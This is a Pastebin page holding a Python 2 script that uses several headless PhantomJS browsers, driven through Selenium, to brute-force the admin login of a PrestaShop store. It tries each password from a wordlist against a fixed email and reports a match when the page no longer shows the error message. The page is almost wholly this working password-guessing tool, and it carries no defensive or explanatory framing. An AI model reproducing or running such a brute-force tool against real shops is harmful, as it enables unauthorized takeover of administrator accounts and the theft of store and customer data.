Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from selenium import webdriver
- import selenium
- import time
- import thread
- PHANTOMJS_PATH = "PhantomJS/bin/phantomjs.exe"
- PHANTOMJS_SERVICE_LOG_PATH = 'PhantomJS/ghostdriver.log'
- HOME_URL = "http://127.0.0.1/projects/prestashop/admin989njjyor/index.php"
- EMAIL = "email@email.it"
- PASSWORD_LIST = "pwdList.txt"
- NUM_OF_THREADS = 6
- _password_found = False
- _password_found_str = -1
- _executing = []
- for i in range(0, NUM_OF_THREADS):
- _executing.append(False)
- def allThreadsWaiting():
- global _executing
- count = 0
- for i in range(0, len(_executing)):
- if _executing[i] == False:
- count += 1
- return count == len(_executing)
- def setupDriver(drivers, index):
- global PHANTOMJS_SERVICE_LOG_PATH
- global PHANTOMJS_PATH
- drivers[index] = (selenium.webdriver.PhantomJS(executable_path=PHANTOMJS_PATH, service_log_path=PHANTOMJS_SERVICE_LOG_PATH))
- drivers[index].get(url)
- def tryPassword(drivers, index, pwd):
- global _password_found
- global _password_found_str
- global _executing
- _executing[index] = True
- driver = drivers[index]
- print "Trying: " + pwd
- elem = driver.find_element_by_id("passwd")
- elem.clear()
- elem.send_keys(pwd)
- elem = driver.find_element_by_xpath("//button[@class=\"btn btn-primary btn-lg btn-block ladda-button\"]")
- elem.click()
- time.sleep(5)
- driver.save_screenshot(pwd+".png")
- html_source = str(driver.page_source.encode('ascii', 'ignore'))
- if ( (not _password_found) and "password errata" in html_source):
- print " -> FAILED"
- else:
- if ("admin" in html_source or "Admin" in html_source):
- if (not _password_found):
- _password_found = True
- _password_found_str = pwd
- else:
- print " -> FAILED"
- _executing[index] = False
- return
- # Fetch password from password list
- f = open(PASSWORD_LIST, "r")
- passList = f.readlines()
- f.close()
- for i in range(0, len(passList)):
- if (passList[i][len(passList[i])-1] == '\n'):
- passList[i] = passList[i][0:len(passList[i])-1]
- # Start PhantomJS (Headless browser)
- url = HOME_URL
- # Setting up web drivers
- print "Setting up PhantomJS..."
- drivers = []
- for i in range(0, NUM_OF_THREADS):
- drivers.append(None)
- for i in range(0, NUM_OF_THREADS):
- print "Setting up thread #" + str(i+1) + "..."
- thread.start_new_thread( setupDriver, (drivers, i, ) )
- time.sleep(1)
- time.sleep(8)
- print "Waiting for login to load..."
- for i in range(0, len(drivers)):
- elem = drivers[i].find_element_by_id("email")
- elem.clear()
- elem.send_keys(EMAIL)
- count = 0
- for i in range(0, len(passList), len(drivers)):
- for c in range(0, len(drivers)):
- pwd = passList[i+c]
- thread.start_new_thread( tryPassword, (drivers, c, pwd, ) )
- time.sleep(1)
- if (_password_found):
- break
- while (not allThreadsWaiting()):
- # Nothing
- continue
- if (_password_found):
- break
- if (_password_found):
- print "Password found: " + _password_found_str
- for i in range(0, len(drivers)):
- drivers[i].close()
- drivers[i].quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement